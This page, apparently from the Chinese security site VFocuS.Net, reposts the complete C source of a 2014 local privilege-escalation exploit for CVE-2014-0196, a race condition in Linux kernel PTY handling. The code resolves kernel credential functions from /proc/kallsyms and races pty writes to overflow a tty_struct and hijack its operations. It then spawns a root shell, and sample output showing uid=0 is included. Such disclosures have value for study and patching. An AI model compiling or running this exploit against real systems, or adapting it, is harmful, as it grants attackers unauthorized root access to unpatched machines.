首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Linux Kernel 3.15-rc4 PTY Race Condition
来源:mattd@bugfuzz.com 作者:Daley 发布时间:2014-05-15  

/*
 * CVE-2014-0196: Linux kernel <= v3.15-rc4: raw mode PTY local echo race
 * condition
 *
 * Slightly-less-than-POC privilege escalation exploit
 * For kernels >= v3.14-rc1
 *
 * Matthew Daley <mattd@bugfuzz.com>
 *
 * Usage:
 *   $ gcc cve-2014-0196-md.c -lutil -lpthread
 *   $ ./a.out
 *   [+] Resolving symbols
 *   [+] Resolved commit_creds: 0xffffffff81056694
 *   [+] Resolved prepare_kernel_cred: 0xffffffff810568a7
 *   [+] Doing once-off allocations
 *   [+] Attempting to overflow into a tty_struct...............
 *   [+] Got it :)
 *   # id
 *   uid=0(root) gid=0(root) groups=0(root)
 *
 * WARNING: The overflow placement is still less-than-ideal; there is a 1/4
 * chance that the overflow will go off the end of a slab. This does not
 * necessarily lead to an immediate kernel crash, but you should be prepared
 * for the worst (i.e. kernel oopsing in a bad state). In theory this would be
 * avoidable by reading /proc/slabinfo on systems where it is still available
 * to unprivileged users.
 *
 * Caveat: The vulnerability should be exploitable all the way from
 * v2.6.31-rc3, however relevant changes to the TTY subsystem were made in
 * commit acc0f67f307f52f7aec1cffdc40a786c15dd21d9 ("tty: Halve flip buffer
 * GFP_ATOMIC memory consumption") that make exploitation simpler, which this
 * exploit relies on.
 *
 * Thanks to Jon Oberheide for his help on exploitation technique.
 */

#include <sys/stat.h>
#include <sys/types.h>
#include <fcntl.h>
#include <pthread.h>
#include <pty.h>
#include <stdio.h>
#include <string.h>
#include <termios.h>
#include <unistd.h>

#define TTY_MAGIC 0x5401

#define ONEOFF_ALLOCS 200
#define RUN_ALLOCS    30

struct device;
struct tty_driver;
struct tty_operations;

typedef struct {
 int counter;
} atomic_t;

struct kref {
 atomic_t refcount;
};

struct tty_struct_header {
 int magic;
 struct kref kref;
 struct device *dev;
 struct tty_driver *driver;
 const struct tty_operations *ops;
} overwrite;

typedef int __attribute__((regparm(3))) (* commit_creds_fn)(unsigned long cred);
typedef unsigned long __attribute__((regparm(3))) (* prepare_kernel_cred_fn)(unsigned long cred);

int master_fd, slave_fd;
char buf[1024] = {0};
commit_creds_fn commit_creds;
prepare_kernel_cred_fn prepare_kernel_cred;

int payload(void) {
 commit_creds(prepare_kernel_cred(0));

 return 0;
}

unsigned long get_symbol(char *target_name) {
 FILE *f;
 unsigned long addr;
 char dummy;
 char name[256];
 int ret = 0;

 f = fopen("/proc/kallsyms", "r");
 if (f == NULL)
  return 0;

 while (ret != EOF) {
  ret = fscanf(f, "%p %c %s\n", (void **)&addr, &dummy, name);
  if (ret == 0) {
   fscanf(f, "%s\n", name);
   continue;
  }

  if (!strcmp(name, target_name)) {
   printf("[+] Resolved %s: %p\n", target_name, (void *)addr);

   fclose(f);
   return addr;
  }
 }

 printf("[-] Couldn't resolve \"%s\"\n", name);

 fclose(f);
 return 0;
}

void *overwrite_thread_fn(void *p) {
 write(slave_fd, buf, 511);

 write(slave_fd, buf, 1024 - 32 - (1 + 511 + 1));
 write(slave_fd, &overwrite, sizeof(overwrite));
}

int main() {
 char scratch[1024] = {0};
 void *tty_operations[64];
 int i, temp_fd_1, temp_fd_2;

 for (i = 0; i < 64; ++i)
  tty_operations[i] = payload;

 overwrite.magic                 = TTY_MAGIC;
 overwrite.kref.refcount.counter = 0x1337;
 overwrite.dev                   = (struct device *)scratch;
 overwrite.driver                = (struct tty_driver *)scratch;
 overwrite.ops                   = (struct tty_operations *)tty_operations;

 puts("[+] Resolving symbols");

 commit_creds = (commit_creds_fn)get_symbol("commit_creds");
 prepare_kernel_cred = (prepare_kernel_cred_fn)get_symbol("prepare_kernel_cred");
 if (!commit_creds || !prepare_kernel_cred)
  return 1;

 puts("[+] Doing once-off allocations");

 for (i = 0; i < ONEOFF_ALLOCS; ++i)
  if (openpty(&temp_fd_1, &temp_fd_2, NULL, NULL, NULL) == -1) {
   puts("[-] pty creation failed");
   return 1;
  }

 printf("[+] Attempting to overflow into a tty_struct...");
 fflush(stdout);

 for (i = 0; ; ++i) {
  struct termios t;
  int fds[RUN_ALLOCS], fds2[RUN_ALLOCS], j;
  pthread_t overwrite_thread;

  if (!(i & 0xfff)) {
   putchar('.');
   fflush(stdout);
  }

  if (openpty(&master_fd, &slave_fd, NULL, NULL, NULL) == -1) {
   puts("\n[-] pty creation failed");
   return 1;
  }

  for (j = 0; j < RUN_ALLOCS; ++j)
   if (openpty(&fds[j], &fds2[j], NULL, NULL, NULL) == -1) {
    puts("\n[-] pty creation failed");
    return 1;
   }

  close(fds[RUN_ALLOCS / 2]);
  close(fds2[RUN_ALLOCS / 2]);

  write(slave_fd, buf, 1);

  tcgetattr(master_fd, &t);
  t.c_oflag &= ~OPOST;
  t.c_lflag |= ECHO;
  tcsetattr(master_fd, TCSANOW, &t);

  if (pthread_create(&overwrite_thread, NULL, overwrite_thread_fn, NULL)) {
   puts("\n[-] Overwrite thread creation failed");
   return 1;
  }
  write(master_fd, "A", 1);
  pthread_join(overwrite_thread, NULL);

  for (j = 0; j < RUN_ALLOCS; ++j) {
   if (j == RUN_ALLOCS / 2)
    continue;

   ioctl(fds[j], 0xdeadbeef);
   ioctl(fds2[j], 0xdeadbeef);

   close(fds[j]);
   close(fds2[j]);
  }

  ioctl(master_fd, 0xdeadbeef);
  ioctl(slave_fd, 0xdeadbeef);

  close(master_fd);
  close(slave_fd);

  if (!setresuid(0, 0, 0)) {
   setresgid(0, 0, 0);

   puts("\n[+] Got it :)");
   execl("/bin/bash", "/bin/bash", NULL);
  }
 }
}



 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·TFTPD32 4.5 / TFTPD64 4.5 - Do
·K-Lite CODEC 10.45 Memory Corr
·Easy File Sharing Web Server 6
·ElasticSearch Remote Code Exec
·Wireshark 1.10.7 - DoS PoC
·WordPress Formidable Forms Rem
·Mozilla Firefox 29.0 - Null Po
·Linux Kernel 3.3-3.8 - SOCK_DI
·WinAMP 5.666 Memory Corruption
·AlienVault OSSIM 4.6.1 - Authe
·Realplayer 16.0.3.51 Memory Co
·Easy Chat Server 3.1 - Stack B
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved